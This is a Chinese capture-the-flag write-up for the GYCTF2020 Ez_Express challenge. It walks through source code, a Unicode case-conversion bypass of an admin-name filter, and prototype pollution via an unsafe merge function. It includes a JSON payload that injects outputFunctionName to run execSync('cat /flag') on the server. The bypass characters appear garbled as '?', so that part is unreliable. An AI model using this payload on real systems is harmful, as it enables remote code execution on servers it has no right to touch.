当前位置: 代码迷 >> 综合 >> [GYCTF2020]Ez_Express 原型链污染 js大小写特性
  详细解决方案

[GYCTF2020]Ez_Express 原型链污染 js大小写特性

热度:15   发布时间:2024-01-11 01:20:31.0

[GYCTF2020]Ez_Express
随便注册一个账号登录,查看源代码可以发现www.zip的提示
在这里插入图片描述
下载源码,找到index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
    merge(a[attr], b[attr]);} else {
    a[attr] = b[attr];}}return a
}
const clone = (a) => {
    return merge({
    }, a);
}
function safeKeyword(keyword) {
    if(keyword.match(/(admin)/is)) {
    return keyword}return undefined
}router.get('/', function (req, res) {
    if(!req.session.user){
    res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={
    'user':req.session.user.user});
});router.get('/login', function (req, res) {
    res.render('login');
});router.post('/login', function (req, res) {
    if(req.body.Submit=="register"){
    if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={
    'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){
    if(!req.session.user){
    res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
    req.session.user.isLogin=true;}else{
    res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/'); ;
});
router.post('/action', function (req, res) {
    if(req.session.user.user!="ADMIN"){
    res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
    res.render('index',data={
    'user':res.outputFunctionName});
})
module.exports = router;

首先想办法以admin登录,在注册的时候如果以ADMIN注册会弹出forbid word,这里admin被过滤了,无论大小写。

function safeKeyword(keyword) {
    if(keyword.match(/(admin)/is)) {
    return keyword}

但在注册完存放用户名的时候,会被转成大写。利用javascript的特性,"?"的大写是“I”、"?"的大写是“S”。因此用adm?n绕过。

req.session.user={
    'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}

在这里插入图片描述
继续看源码发现merge和clone那多半是原型链污染

const merge = (a, b) => {
    for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
    merge(a[attr], b[attr]);} else {
    a[attr] = b[attr];}}return a
}
const clone = (a) => {
    return merge({
    }, a);
}

我们在框中的输入提交后触发/action,其中触发了 req.session.user.data = clone(req.body);
关于原型链污染,这篇文章讲的很详细https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
要达成的目标可以看/info,将outputFunctionName渲染到页面中,但是这个outputFunctionName没有定义。所以我们可以给对象原型的类添加一个outputFunctionName属性,通过它得到flag。

router.get('/info', function (req, res) {
    res.render('index',data={
    'user':res.outputFunctionName});
})

content type改成application/json
payload:

{
    "lua":"a","__proto__":{
    "outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

在这里插入图片描述
再访问/info得到flag
在这里插入图片描述